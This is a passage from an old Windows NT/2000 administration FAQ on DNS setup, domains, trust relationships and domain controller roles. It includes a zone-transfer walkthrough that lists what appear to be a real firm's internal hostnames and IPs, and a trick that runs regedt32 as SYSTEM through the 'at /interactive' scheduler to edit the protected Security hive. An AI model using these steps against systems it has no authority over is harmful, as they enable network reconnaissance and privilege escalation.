  3. Right click on the child node you wish to add a replica to and select ‘New Replica’
  4. You will need to enter the UNC of the new share and you have the option for
    - Manual replication
    - Automatic replication
    ’Manual replication’ is useful if the contents are read-only documents which do not often change. Joint replication will replicate the contents of the shares with all members in the replica set. Click OK
  5. The replication set topology dialog will be shown. Check replication has been enabled and click OK

Multi-master replication is used except on the first replication path where the contents of the Primary server is copied to the other members. Any content currently in the other shares is moved to a NtFrs-PreExisting subdirectory (but a checksum is performed and if the files match with the primary servers share they are moved back into the main directory to save network bandwidth in copying them from the Primary server).

Replication is every 15 minutes by default.


Q. How do I install the DNS Service?

A. The DNS Service can only be installed on NT/2000 Server and is installed as follows under NT 4.0:

  1. Start the Network Control Panel Applet (Start - Settings - Control Panel - Network)
  2. Click the Services tab and click Add
  3. Select "Microsoft DNS Server" and click OK
  4. The software will be installed and the machine will then reboot

For Windows 2000 perform the following:

  1. Start the Add/Remove Programs control panel applet (Start - Settings - Control Panel - Add/Remove Programs)
  2. Click the 'Add/Remove Windows Components' button
  3. Select 'Networking Services' and click Details
  4. Check the 'Domain Name System (DNS)' box and click OK
  5. Click Next to all other dialogs


Q. How do I configure a domain on the DNS Server?

A. A new application has been added to the Administrative Tools group, DNS Manager, to configure the domain follow the procedures below for NT 4:

  1. Start the DNS Manager (Start - Programs - Administrative Tools - DNS Manager)
  2. From the DNS menu, select New Server and enter the IP address of the DNS Server, e.g. 200.200.200.3, and click OK
  3. The server will now be displayed with a CACHE sub part
  4. Next we want to add the domain, e.g. savilltech.com, from the DNS menu, select New Zone
  5. Select Primary and click Next
  6. Enter the name, e.g. savilltech.com, and then press tab, and it will fill in the Zone File Name and click Next
  7. Click Finish
  8. Next a zone for reverse lookups has to be created, so select New Zone from the DNS menu
  9. Select Primary and click Next, enter the name of the first 3 parts of the domain IP + in-addr.arpa, e.g. if the domain was 158.234.26, the entry would be 26.234.158.in-addr.arpa, in my example it would be 200.200.200.in-addr.arpa, click tab for the file name to be filled and click Next, then click Finish
  10. Add a record for the DNS server, by right clicking on the domain and select "New Record"
  11. Enter the name of the machine, e.g. BUGSBUNNY (I had a strange upbringing :-) ), and enter and IP address, e.g. 200.200.200.3 and click OK
  12. If you click F5 and examine the 200.200.200.in-addr.arpa a record has been added for BUGSBUNNY there as well

For Windows 2000 the procedure is similar but has a few changes:

  1. Start the DNS MMC snap-in (Start - Programs - Administrative Tools - MMC)
  2. Right click on the DNS server and select 'Configure the server'
  3. Click Next to the welcome screen
  4. Select Yes to create a forward lookup zone and click Next
  5. Select the type of zone. Active Directory integrated will only be available if the DNS server is also a domain controller. Select the type and click Next
  6. Enter the name for the zone, e.g. savilltech.com and click Next
  7. Select to create a new file and click Next
  8. Select Yes to create a reverse zone and click Next
  9. Again select the type, Active Directory integrated, standard or secondary and click Next
  10. Enter the Network ID (the first parts of your IP address) and click Next
  11. Select to create a new file and click Next
  12. Click Finish to create the zone


Q. How do I add a record to the DNS?

A. To add a record, for example TAZ with IP address 200.200.200.4 perform the following on NT 4.0:

  1. Start the DNS Manager (Start - Programs - Administrative Tools - DNS Manager)
  2. Double click on the name of the DNS server to display the list of zones
  3. Right click on the domain, and select New Record
  4. Enter the name, e.g. TAZ and enter IP address. Select the record type. For adding a new host accept the default, record type A.
  5. If you have the Reverse Arpa zone configured and want the PTR record automatically added, make sure the Create Associated PTR record is checked
  6. Click OK

The procedure is basically the same on Windows 2000:

  1. Start the DNS MMC snap-in (Start - Programs - Administrative Tools - DNS)
  2. Expand 'Forward Lookup Zones' and select the DNS domain you wish to add a record to
  3. Right click on the DNS domain zone and select 'New Host' from the context menu
  4. Enter the name and IP address for the record and if you want a reverse pointer to be created.
  5. Click Add Host


Q. How do I configure a client to use the DNS?

A. Once you have DNS servers configured the clients (and servers) need to be configured to contact them to resolve hostnames to IP addresses (and in some cases IP addresses to hostnames).

If you are using DHCP then DNS can be configured as part of the scope options for DHCP and do not need to be set at each client machine. Only if using static IP addresses do you need to manually set DNS information.

For an NT machine (and Windows 95) perform the following:

  1. Start the Network Control Panel Applet (Start - Settings - Control Panel - Network)
  2. Select the Protocols tab
  3. Select TCP/IP and select Properties
  4. Click the DNS tab
  5. Make sure the machines name is entered in the first box, and the domain name, e.g. savilltech.com in the Domain box
  6. In the DNS Server part click Add, and in the dialog box enter the IP address of the DNS Server and click Add
  7. In the Domain Suffix Search Order part, click Add and enter the domain, e.g. savilltech.com and then click Add
  8. Finally click OK

For a Windows 2000 machine perform the following:

  1. Right click on 'My Network Places' and select Properties
  2. Right click on 'Local Area Connection' and select Properties
  3. Select 'Internet Protocol (TCP/IP)' and click Properties
  4. Enter the DNS information and click OK

To test, you can start a command prompt and enter

nslookup <host name>
e.g. nslookup taz

The IP address of Taz will be displayed. Also try the reverse translation by entering

nslookup <ipaddress>
e.g. nslookup 200.200.200.4

The name Taz will be displayed.


Q. How do I change the IP address of a DNS server?

A. The information below assumes you have already changed the IP address of the machine ( Start - Settings - Control Panel - Network - Protocols - TCP/IP - Properties) and have rebooted. The scenario below assumes the old IP address was 200.200.200.3 and the new is 200.200.200.8

  1. We need to configure a second IP address for the network card
    - Start the Network Control Panel Applet ( Start - Settings - Control Panel - Network)
    - Click on the Protocol tab
    - Select TCP/IP and click Properties
    - Click Advanced and click Add
    - Enter the old IP address, e.g. 200.200.200.3 and click Add
    - Click OK until you are back at the Control Panel
    - Reboot
  2. Start the DNS Manager (Start - Programs - Administrative Tools - DNS Manager)
    - Right click the "Server List" and select New Server
    - Enter the new IP address, e.g. 200.200.200.8 and click OK
    - Select the old IP address, e.g. 200.200.200.3 and right click
    - Select "Delete Server" from the context menu and click Yes to confirm
  3. While in the DNS Manager, update the record for this server
    - Select the IP address of the DNS server, e.g. 200.200.200.8, select the domain name, e.g. SAVILLTECH.COM
    - Double click the entry for the server and update the IP address, i.e. it would have had 200.200.200.3 to bugsbunny, change to 200.200.200.8
    - Click OK
  4. Now we will delete the secondary IP address we added
    - Start the Network Control Panel Applet ( Start - Settings - Control Panel - Network)
    - Click on the Protocol tab
    - Select TCP/IP and click Properties
    - Click Advanced and select the address, e.g. 200.200.200.3 and click Remove
    - Click OK until back at control panel
    - You will need to reboot at some point to remove the 200.200.200.3 from being active

Update all the clients to use the new DNS server IP address.

The above procedure is the most complete way, however it should still work if you only perform steps 2 and 3.


Q. How can I configure DNS to use a WINS server?

A. Is is possible to configure the DNS to use a WINS server to resolve the host name of a Fully Qualified Domain Name (FQDN).

  1. Start DNS manager (Start - Programs - Administrative Tools - DNS Manager)
  2. Right click on the zone you wish to communicate with the WINS server and select properties
  3. Click the "WINS Lookup" tab
  4. Select the "Use WINS Resolution" check box and then enter the WINS server IP address and click ADD
  5. Click OK when finished


Q. Where in the registry are the entries for the DNS servers located?

A. The entries for the DNS servers are stored in the registry in the location HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters under the NameServer value, Each entry should be separated by a space. Using the Resource Kit utility REG.EXE the command to change would be as follows

reg update HKLM\System\CurrentControlSet\Services\Tcpip\Parameters\NameServer="158.234.8.70 158.234.8.100" \\<machine name>

where 158.234.8.70 and 158.234.8.100 were the addresses of the DNS servers you wanted to configure. Note it sets the value, it does not append so ensure you enter in the existing DNS servers as well as the new ones.

This may be useful for granting users access to the internet by remotely updating their registry to know which DNS servers to use.


Q. I receive error message "No More Endpoints".

A. This can be caused by installing DNS on a machine that has previous settings contained in the %systemroot%\system32\dns directory. To correct perform the following.

  1. Stop the Microsoft DNS server using the Services control panel applet ( Start - settings - control panel - services). Select Microsoft DNS and select stop
  2. Backup any zone files from the %systemroot%\system32\dns directory that you may want
  3. Remove the DNS server by right clicking on network neighborhood and selecting properties. Click the services tab, select DNS and click Remove
  4. Delete all files in the %systemroot%\system32\dns
  5. Reinstall DNS server using the services tab of the network control panel applet


Q. How do I configure DNS for a Windows 2000 domain?

A. Windows 2000 domains rely on DNS and require Dynamic DNS which is an update to the basic DNS specification and details can be found in RFC 2136 that can be viewed at ftp://ftp.isi.edu/in-notes/rfc2136.txt.

Another major update in DNS 5.0 is the addition of service (SRV) records and these have already been seen as a mechanism for publishing the ldap server, _ldap._tcp.<domain> and it is through these records that domains can be looked up through the DNS service.

You could perform this on a separate Windows 2000 machine, the domain controller and the DNS server will probably not be the same machine, it just has to exist before upgrading the server to a domain controller. To install DNS 5.0 on the server perform the following:

  1. Start the Install/Remove Programs Control Panel Applet (Start - Settings - Control Panel - Add/Remove Programs)
  2. Click the "Configure Windows" left hand pane
  3. Click the "Components" button that is displayed
  4. Select "Networking Options" and click Details
  5. Select "Microsoft DNS Server" and click OK
  6. Click Next

Before actually configuring the DNS service modify the TCP/IP properties of the machine to use itself as the DNS server:

  1. Right click on 'My Network Places' and select Properties
  2. Right click on the 'Local Area Connection' and select Properties
  3. Select 'Internet Protocol (TCP/IP)' and click Properties button
  4. Under the DNS section select 'Use the following DNS server addresses:' and enter the machines IP address
  5. You can also click advanced, select the DNS tab and ensure the DNS suffix for the connection is the DNS domain you are about to create. Click OK
  6. Click OK to all dialogs to close all windows

Now check the computers primary suffix is set

  1. Right click on 'My Computer' and select Properties
  2. Select the 'Network Identification' tab and click the Properties button
  3. Click the More button
  4. Ensure 'Primary DNS suffix of this computer' is set to the DNS domain you are about to create and click OK
  5. Click OK to all dialogs to close all windows
  6. Click Yes to restart the computer

If you don't do this first, your NS records for the zones will simply list the computer name, followed by a ".", rather than the FQDN of your NS and this may cause problems. You can forgo this step and the NS records will be updated after the machine becomes a DC, but I've heard of some problems with this approach.

You then need to configure the DNS service

  1. Start the "DNS Management" MMC snap-in (Start - Programs - Administrative Tools - DNS Management)
  2. Right click on the root and select 'Configure Server' and this will start the configuration applet. Click Next
  3. It will detect there are no root servers so select "This is the first DNS server on this network" and click Next
  4. Check "Yes, add a forward lookup zone" and click Next. This zone is used for the storage of host name to IP addresses
  5. You should now select the zone type, Select "Standard Primary" and click Next. "Active Directory Integrated" stores the DNS database in the Active Directory however there is no Active Directory at this point. This option can be set later
  6. Enter the name of the zone, e.g. savilltech.com and click Next
  7. Select "New File" and click Next. If you had an existing .dns file you may import this
  8. Check "Yes, add a reverse lookup zone" and click Next. The reverse lookup zone is used to find the host name from a IP address. When you create a host record a PTR record can also be selected to be created and this adds a record in the reverse lookup zone
  9. Again select "Standard Primary" and click Next
  10. Enter the first parts of your subnet, e.g. 200.200.200.0 (subnet will be filled in for you). If you subnet mask was 255.255.0.0 you would enter the first 2 parts of you IP address, if 255.255.255.0 you would enter the first 3. Click Next
  11. Again Check "New File" and click Next
  12. A summary will be displayed and click Finish to complete the installation

The final stage is to configure the zones to be dynamic update enabled which allows hosts to add records in the DNS server.

  1. Start the "DNS Management" MMC snap-in (Start - Programs - Administrative Tools - DNS Management)
  2. Expand the DNS server, expand the "Forward Lookup Zones", select the domain, e.g. savilltech.com
  3. Right click on the domain and select Properties from the context menu
  4. Select "Yes" from the "Allow dynamic updates?" drop down box
  5. Click Apply then OK
  6. Now expand the "Reverse Lookup Zones" and select the reverse lookup zone, e.g. "200.200.200.x Subnet"
  7. Select the zone and right click the zone and select Properties from the context menu
  8. Again select "Yes" from the "Allow dynamic updates?" drop down box
  9. Click Apply then OK

DNS is now configured for a domain and you can create the domain.

To ensure all entries are correctly entered enter the command below in a command window (cmd.exe)

C:\> ipconfig /registerdns


Q. How do I configure Active Directory integrated DNS?

Q. How do I configure Active Directory integrated DNS? - Windows 2000 only

A. It is possible to configure DNS servers that are also domain controllers to store the contents of the DNS database in the Active Directory which will then be replicated to all domain controllers in the domain. The option to store the DNS database in the Active Directory is not available on DNS servers that are not domain controllers.

  1. Start the "DNS Management" MMC snap-in (Start - Programs - Administrative Tools - DNS Management)
  2. Expand the DNS server, expand the "Forward Lookup Zones", select the domain, e.g. savilltech.com
  3. Right click on the domain and select Properties from the context menu
  4. Under Type click Change
  5. Select "Active Directory-integrated" and click OK
  6. Click OK to "Are you sure you want this zone to become an Active Directory-integrated"
  7. Click Apply then OK


Q. Setting a secondary DNS server as primary results in errors.

A. If you have a secondary DNS server configured to duplicate all entries from another DNS server you may experience a problem if you try and set it as a primary DNS server, which results in the service not starting and an error to the effect of the data being wrong:

Event ID: 7023
The MS DNS Server service terminated with the following error:
The data is invalid.

Event ID: 130
DNS Server zone zone name has invalid or corrupted registry data.
Delete its registry data and recreate with DNSAdmin.

Event ID: 133 DNS
Server secondary zone zone name, had no master IP addresses in registry.
Secondary zones require masters.

The DNS Manager forgets to set the correct value for the DNS Type in the registry (secondary is remaining), but it is erasing the address of the primary DNS, where the data came from. To correct this perform the following:

  1. Start the registry editor (regedit.exe)
  2. Move to, locate the following key: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Dns\Zones\< zonename >, where < zonename> is the domain (e.g. savilltech.com)
  3. Double click on the TYPE value and change from 2 to 1.
  4. Close the registry editor

You should now be able to successfully start the DNS service

C:\> net start dns

The TYPE value can have one of two values,

0x1 specifies Primary zone
0x2 specifies secondary zone

A fix for this can be downloaded from ftp://ftp.microsoft.com/bussys/winnt/winnt-public/fixes/usa/NT40/ hotfixes-postSP3/dns-fix


Q. How do I turn off Dynamic DNS?

Q. How do I turn off Dynamic DNS? - Windows 2000 only

A. By default, the TCP/IP stack in NT 5.0 Beta 2 (and later builds) attempts to register it's Host (A) record with it's DNS server. This makes sense in an all NT (Windows 2000) environment. But if you are using a static, legacy DNS server, the DNS guys might not like all the 'errors' this shows up on their server since the DNS servers will not understand these "updates".

You will get errors such as:

  • Dnsapi
  • Failed to register network adapter with settings
  • Sent update to server

To make the clients stop attempting to publish their DNS names/addresses to the DNS server perform the following:

  1. Log on to each client as Administrator
  2. Start the registry editor (regedit.exe)
  3. Move to HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters
  4. From the Edit menu select New - DWORD value
  5. Enter a name of DisableDynamicUpdate and press Enter
  6. Double click on the new value and set to 1. Click OK

If you have multiple adapters in the machine you may not want to disable for all so instead of setting HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\DisableDynamicUpdate to 1, set as 0 and then move to the sub key Interfaces\<interface name> and create the DisableDynamicUpdate value there and set to 1.

If you needed to perform this on a large number of machines you should create a reg script or set from the login script.


Q. How do I configure a forwarder on DNS 5.0?

Q. How do I configure a forwarder on DNS 5.0? - Windows 2000 only

A. If you create a DNS server on your network but are not the main DNS server, i.e. your company has a central main DNS server, you will want to forward queries your DNS server cannot service to that DNS server.

This is because only certain servers in your network will have access to DNS servers outside your network (due to firewalls etc) and thus your (departmental?) DNS server cannot access the DNS servers higher up in the DNS hierarchy. To configure a forward perform the following:

  1. Start the DNS Management MMC snap-in (Start - Programs - Administrative Tools - DNS Management)
  2. Right click on the DNS server and select Properties
  3. Select the "Forwarders" tab
  4. Check the "Enable forwarder(s)" box
  5. Enter the IP address of the DNS server and click Add
  6. Click OK
  7. Close the DNS Management snap-in

Setting a Forward

If you are missing the forwarder tab or its not available see Q. I am missing the forwarder and Root Hints tabs in DNS 5.0


Q. I am missing the forwarder and Root Hints tabs in DNS 5.0.

Q. I am missing the forwarder and Root Hints tabs in DNS 5.0. - Windows 2000 only

A. This is caused if your server thinks it is the root server in the domain, and will hence have a "." zone. To enable the forwarder you need to delete this zone from your server:

  1. Start the DNS Management MMC snap-in (Start - Programs - Administrative Tools - DNS Management)
  2. Expand the server, expand Forward Lookup Zones and select "."
  3. Right click and select Delete
  4. Click Yes to the confirmation
  5. Stop and Start the DNS manager and the tabs are available

Delete the dot zone

This can also be done from the command line using:

C:\> dnscmd /ZoneDelete . /DsDel

The /DsDel is required if the zone is Active Directory integrated


Q. How do I enable DNS round robin resolution?

A. Recent Windows NT service packs introduced LocalNetPriority which tries to return Host resources that are local to the requestor instead of using round robin however round robin can be enabled as follows:

  1. Start the registry editor (regedit.exe)
  2. Move to HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\DNS\Parameters
  3. From the Edit menu select New - DWORD Value
  4. Enter a name of LocalNetPriority and press Enter
  5. Double click the new value and set to 0 to disable LocalNetPriority and re-enable round robin. Click OK
  6. Close the registry editor
  7. Stop and restart the DNS service


Q. DNS resolution of a valid domain fails on NT.

A. if you are running NT4 DNS with either SP4 or SP5 installed you may find a domain that resolves on Unix DNS servers server times out when you do an NSLOOKUP on NT.

This is a known bug and a Quick Fix Engineering patch for NT bug 267085 is available from Microsoft support or wait for SP6 to come out.


Q. How can I force a Windows 2000 domain controller to re-register its DNS entries?

A. To re-register the domain controller DNS entries perform one of the following:

  1. Stopping & start the netlogon service which will reregister all SRV records in
    the netlogon.dns file.
  2. Netdiag /fix will also do this.
  3. Ipconfig /registerdns


Q. I'm getting DNS zone transfer messages in the event log, is someone hacking me?

A. No, don't panic, it just means someone is listing the content of a zone and this is fine since you are making the information publicly available anyway. To do this list see 'Q. How do I perform a DNS zone transfer?'

If you want to stop people performing zone transfers start the Microsoft DNS Manager, select the Zone, go into the Properties for the zone and select the Notify tab. Check the "Only Allow Access for Secondaries included on the notify list".

A typical event log is shown below:


Q. How do I perform a DNS zone transfer?

A. To list the content of a DNS zone perform the following commands (remember this does not actually remove any information from the host DNS server, it only lists it)

C:\>nslookup
Default Server: adm1.srv.uk.deuba.com
Address: 10.142.10.2

> set q=ns                Sets the query type to name servers
> db.com                  The name of the DNS zone you wish to list
Server: adm1.srv.uk.deuba.com
Address: 10.142.10.2

db.com nameserver = ns1.eur.deuba.com
db.com nameserver = ns2.eur.deuba.com
db.com nameserver = ns1.uk.deuba.com
db.com nameserver = ns2.uk.deuba.com
ns1.eur.deuba.com internet address = 10.70.136.140
ns2.eur.deuba.com internet address = 10.70.137.140
ns1.uk.deuba.com internet address = 10.141.39.181
ns2.uk.deuba.com internet address = 10.140.8.12
> server ns1.eur.deuba.com      Set the server to be one of those listed
Default Server: ns1.eur.deuba.com
Address: 10.70.136.140

> ls -d db.com                  List out the zone
[ns1.eur.deuba.com]
db.com. SOA ns1.eur.deuba.com hostmaster.ose.eur.deub
a.com. (1999091500 3600 1800 604800 1800)
db.com. NS ns1.uk.deuba.com
db.com. NS ns2.uk.deuba.com
db.com. NS ns1.eur.deuba.com
db.com. NS ns2.eur.deuba.com
db.com. A 10.141.44.112
db.com. MX 10 bmr1-e1.srv.uk.deuba.com
testxyz CNAME ns2.eur.deuba.com
atwork CNAME clust1v2.srv.uk.deuba.com
search.atwork CNAME homepage.mev.eur.deuba.com
phone.atwork CNAME nerys.x500.esb.eur.deuba.com
www2 A 38.163.212.70
www3 CNAME nyc00pah11.na.deuba.com
infohost.herold A 193.150.167.33
pmg NS ns1.eur.deuba.com
pmg NS ns2.eur.deuba.com
mgam CNAME clust1v2.srv.uk.deuba.com
it.mgam CNAME clust1v2.srv.uk.deuba.com
iis.mgam CNAME clust1v2.srv.uk.deuba.com
etsg.mgam CNAME clust1v2.srv.uk.deuba.com

Thats it, you have now listed out all the records in the zone.


Q. How can I stop DNS Cache pollution?

A. DNS cache pollution can occur if Directory Naming Service (DNS) "spoofing" has been encountered. The term "spoofing" describes the sending of non-secure data in response to a DNS query. It can be used to redirect queries to a rogue DNS server and can be malicious in nature.

Windows NT DNS can be configured to filter out responses to unsecured records by performing the following:

  1. Start the registry editor (regedit.exe)
  2. Move to HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\DNS\Parameters
  3. From the edit menu select New - DWORD value
  4. Double click the new value and set to 1. Click OK

The following is taken from Knowledge base article Q198409 which helps understand this more:

"Examples: DNS server makes MX query for domain.samples.microsoft.com to samples.microsoft.com's DNS server. The samples.microsoft.com DNS server responds but includes A record for A.ROOT-SERVERS.NET giving its own address. The rogue DNS server has then gotten itself set up as a root server in your DNS server's cache. Less malicious, but more common, are referral responses (or direct responses from BIND, see WriteAuthorityNs for discussion) that contain records for the DNS of an ISP: Authority section:

new.samples.microsoft.com NS ns.new.samples.microsoft.com.
new.samples.microsoft.com NS ns.isp.samples.microsoft.com.
Additional section:
ns.new.samples.microsoft.com. A 1.1.1.1
ns.isp.samples.microsoft.com. A 2.2.2.2
NOTE: The address record for the ISP happens to be old\stale. If SecureResponses is on, records that are not in a subtree of the zone queried are eliminated. For example, in the example above, the samples.microsoft.com. DNS server was queried, so the all the samples.microsoft.com records are secure, but the ns.isp.microsoft.com. A record is not in the sample .microsoft.com. subtree, and is not cached or returned by the DNS server."


Q. How can I enable my web site to be accessible as ntfaq.com instead of www.ntfaq.com?

A. We are all used to entering www.<domain> for a web site, such as www.serverfaq.com, however www is just a normal DNS host record and if you want your site to be accessible as just <domain>, e.g. yahoo.com just create a blank host record.

In Windows 2000 to create a blank host record for the domain perform the following:

  1. Start the DNS MMC snap-in (Start - Programs - Administrative Tools - DNS)
  2. Expand the server - forward lookup zones - DNS domain
  3. Right click on the domain and select 'New Host'
  4. Leave the name blank and just enter the IP address (check the create associated pointer record box)
  5. Click Add Host

A new host record will be listed of the form:

(same as parent folder) Host <ip address>

To do this on NT 4.0 for the domain ntfaq.com at address W.X.Y.Z, do the following:

  1. Stop the DNS service:
    C:\> net stop dns
  2. Edit the file ntfaq.com.dns (found at %systemroot%\system32\dns\*.dns)
  3. Find a record that looks like:
    www IN A W.X.Y.Z
  4. Add the following record below:
    @ IN A W.X.Y.Z
  5. Save the file
  6. Restart DNS Service
    C:\> net start DNS


Q. How can set the primary DNS suffix in Windows 2000?

A. In Windows NT 4.0 you set the primary DNS suffix using the domain field in the DNS tab of TCP/IP properties.

In Windows 2000 this is performed as follows:

  1. Right click on My Computer and select Properties
  2. Select the Network tab
  3. Click the Properties button
  4. Click the More button
  5. Enter the Primary DNS suffix and click OK
  6. Click OK to the prompt informing you will need to reboot the computer
  7. Close all dialogs
  8. Reboot the computer

This is very important on domain controllers before configuring DNS as without this configured the created DNS records will not have the fully qualified host name.


Q. How do I create a caching-only DNS server?

A. Normally a DNS server holds records about various DNS zones which are replicated between other DNS servers (via the Active Directory in a AD enabled zone).

Caching-only DNS servers don't actually host any zones and are not authoritative for any domains but rather just cache results from queries asked them by clients. If a client asks it to resolve www.savilltech.com it will a zone holding DNS server to resolve it and cache the answer so if another client asks it to resolve the same record it can answer from its cache. This is similar in a way to a proxy server that caches popular web pages.

These are useful for sites connected via a WAN with a local caching-only DNS server saving on network traffic.

To configure a caching only DNS server perform the following:

  1. Ensure the machine has a static IP address
  2. Install the DNS service as per normal (Start - Settings - Control Panel - Add/Remove Software - Add/Remove Windows Components - Components - Networking Services - Details - Domain Name System (DNS) - OK - Next - Finish)
  3. Start the DNS MMC (Start - Programs - Administrative Tools - DNS)
  4. From the Action menu select 'Connect To Computer...'
  5. In the Select Target Computer window enable 'The following computer:' and enter the name of a DNS server you want to cache.
  6. Click OK

The machine will now start to gather a cache of host-IP mappings.

To clear the cache right click on the actual server name (not the server it is caching from) and select 'Clear Cache' from the context menu.


Q. How do I change Domain Names?

A. This is not so much a procedure but things to think about.

  1. NT stores both the textual name and the Security ID (SID) associated with the name, when you change the Domain name you only change the textual part and NOT the SID.
  2. All users should log off before starting the Domain Name change
  3. Break all trust relationships with other Domains
  4. If possible all BDC's should have the domain name changed and want to reboot. Say reboot later, and shutdown the machine and power it off.
  5. On the PDC run control panel, and change the Domain Name through Network Panel. The computer will prompt for a reboot and select "Reboot Now".
  6. Once the PDC is up let it stabilize for a few minutes then bring up each BDC with a minute gap, so it can validate with the PDC
  7. Re-create trust relationships with other Domains
  8. Move all clients to the new Domain, for Workstation see next FAQ.

A knowledge base article exists at http://support.microsoft.com/support/kb/articles/q178/0/09.asp.


Q. How do I move a Workstation to another Domain?

A. Logon to the Workstation locally as Administrator (i.e. name of machine) and goto Control Panel. Double click Network and click change. Enter the new Domain name and click OK. You will receive a message "Welcome to Domain x". Reboot the machine and you are part of the new domain.

If you wish to administer this box from the new domain you will need to add <Domain>\DomainAdmins to the local administrators group by connecting to the local user database via User Manager for Domains (i.e. \\computername)


Q. How many user accounts can I have in one Domain?

A. The real problem is that each user account and machine account takes up space in the SAM file, and the SAM file has to be memory resident. A user account takes up 1024 bytes of memory (a machine account half as much), so for each person (assuming they each had one machine) would be 1.5 KB. This would mean for a 10,000 user domain each PDC/BDC would need 15MB of memory just to store the SAM! Imagine a network with 100,000 people. This is one of the reasons you have multiple domains and then setup trust relationships.


Q. How to I change my server from Stand Alone to a PDC/BDC?

A. You cannot change the role of a NT server, you will need to reinstall NT.

As an alternative, you can use a 3rd party utility called U-Promote, http://u-tools.com/UTools/UPromote.asp however this works by making registry changes that would render your system unsupportable by Microsoft and may lead to problems later in the servers life time, for example moving to Windows 2000.

In Windows 2000 you can promote a server to a domain controller by using DCPROMO.EXE.


Q. What is a PDC, BDC?

A. A PDC is a Primary Domain Controller, and a BDC is a Backup Domain Controller. You must install a PDC before any other domain servers. The Primary Domain Controller maintains the master copy of the directory database and validates users. A Backup Domain Controller contains a copy of the directory database and can validate users. If the PDC fails then a BDC can be promoted to a PDC. Possible data loss is user changes that have not yet been replicated from the PDC to the BDC. A PDC can be demoted to a BDC if one of the BDC's is promoted to the PDC.


Q. How many BDC's should I have?

A. Microsoft say one BDC for every two thousand users. This is fine considering a 486DX2 with 32MB of RAM can, on average, perform at least 10 logons per minute, however if everyone in your company arrives at 9:00 on the dot and log on (except for the helpful people who arrive half an hour late) there will be a surge of logon requests to deal with, resulting in large delays. To try and improve on this, it is possible to configure the Server service to throughput for Network Applications rather than File Applications. Remember the more powerful the processor, the more logons (for a Pentium 133, would be able to logon at least 30 people).


Q. How do I configure a Trust Relationship?

A. Domains by default are unable to communicate with other domains, which means somewhere in domain x cannot access any resource that is part of domain y. Before a trust relationship is configured

  • an administrator in x cannot give permission to any user of domain y for files or printers
  • a user of domain y cannot sit at a workstation that is part of domain x and logon

After a trust relationship is defined, say x trusts y the following happens

  • users of domain y can sit at a workstation that is part of domain x and logon to their own domain y (it will be displayed in the domain dropdown box)
  • an administrator of domain x can grant permission to any user of domain y to file and print resources
  • users of domain y are included in the Everyone group of domain x

In the example above x is the trusting domain, and y is the trusted domain. Also the above is a one-way trust relationship, i.e. while domain y users can use domain x resources, users of domain x cannot use domain y resources. A two-way relationship would allow each domain to access resources of the other (if given permission).

The basics of a trust relationship is to first configure domain y to allow domain x to trust it, and then configure domain x to trust domain y:

  1. Log onto domain y as Administrator
  2. Start User Manager for Domains (Start - Programs - Administrative Tools)
  3. Select "Trust Relationships" from the Policies menu
  4. Click the Add button to the Trusting Domains box
  5. Enter the name of the domain you want to be able to trust you, i.e. domain x
  6. You can type a password in the Initial Password and Confirm Password, however this is only used when the trust relationship is started. You can leave it blank Click OK to complete the addition
  7. Close the Trust Relationship dialog box
  8. Log off of domain y and logon onto domain x as Administrator
  9. Start User Manger for Domains, and choose "Trust Relationships" from the Policies menu
  10. Click the Add button to the Trusted Domains box
  11. Enter the name of domain y and the password if one was configured in step 6
  12. Click OK and close the User Manager for Domains application.
  13. Domain x now trusts domain y


Q. How do I terminate a Trust Relationship?

A. Firstly you have to stop domain x trusting domain y, then remove domain x's ability to trust domain y:

  1. Logon as Administrator to domain x
  2. Start User Manager for Domains, and click Trust Relationships from the Policies menu
  3. Select domain y from the Trusted Domains and click Remove and confirm
  4. Logoff, and logon to domain y as Administrator
  5. Start User Manager for Domains, and click Trust Relationships from the Policies menu
  6. Select domain x from the Trusting Domains and click Remove and confirm
  7. Exit


Q. How can I join a domain from the command line?

A. The NT Resource Kit Supplement 2 ships a new utility called NETDOM.EXE which can be used to not only join domains, but create computer account and trust relationships.

To join a domain there are 2 paths, the first is to just add the computer to the domain and create the computer account simultaneously which is OK if you are logged on as a domain administrator, if you are not a domain administrator the account needs to be added in advance and then you join the domain.

If you are logged on as a domain administrator then enter the command below to create the account and join the domain

netdom /domain:savilltech /user:savillj /password:nottelling member <computer name> /joindomain
where <computer name> is the name of your machine, e.g. johnstation

If you are not an administrator the domain admin people will have to add you an account first using either server manager or using NETDOM.EXE

netdom /domain:savilltech /user:savillj /password:nettelling member <computer name> /add

Once the account has been add the normal user could join the domain using the first command shown.


Q. How do I demote a PDC to a BDC?

A. Normally when you promote a BDC to the PDC, the existing PDC is automatically demoted to a BDC, but in the event that the PDC was taken off line and then a BDC promoted when the old PDC is restarted it will still think its the PDC and when it detects another PDC it will simply stop its own netlogon service.

To actually modify the machine to be a BDC the registry needs to be changed directly:

  1. Logon to the machine as an Administrator
  2. Start the registry editor (regedt32.exe)
  3. Move to HKEY_LOCAL_MACHINE\Security
  4. Select Permissions from the Security menu
  5. Select Administrators and change the access type to Full Control, check the "Replace Permission on Existing Subkeys" and click OK. Click Yes to the confirmations dialog box
  6. You can now navigate the Security menu, move down to Policy\PolSrvRo
  7. Double click on the default <no name> value and change the second digit (which should be 3 for a PDC) to a 2 (which means BDC). Click OK. E.g. 03000000 to 02000000.
  8. You should now reset the Security on the Security part of the registry using the same method as before but changing back to Special Access for Administrators. The permissions for Administrators should be
    - Write DAC
    - Read Control
  9. Restart the machine and it will come up as a BDC

To avoid having to set security perform the registry change from the system account by submitting the registry editor via the schedule service.

C:\> net start schedule (only if not already running)
C:\> at <time> /inter regedt32.exe
C:\> net stop schedule (only if you had to start it)


Q. How can I configure a BDC to automatically promote itself to a PDC if the PDC fails?

A. There is no way to do this, the assumption is that the PDC would be configured to write out the dump information and then reboot itself thus coming back online. You configure this behavior using the System Control Panel Applet - Startup/Shutdown tab.


Q. How do I rename a PDC/BDC?

A. To rename a Primary Domain Controller perform the following:

  1. Log onto the PDC as an Administrator
  2. Start the Network Control Panel Applet (Start - Settings - Control Panel - Network)
  3. Click the Identification tab.
  4. Click the Change button and enter in the new computer name and click OK
  5. Restart the PDC for the name change to take effect.
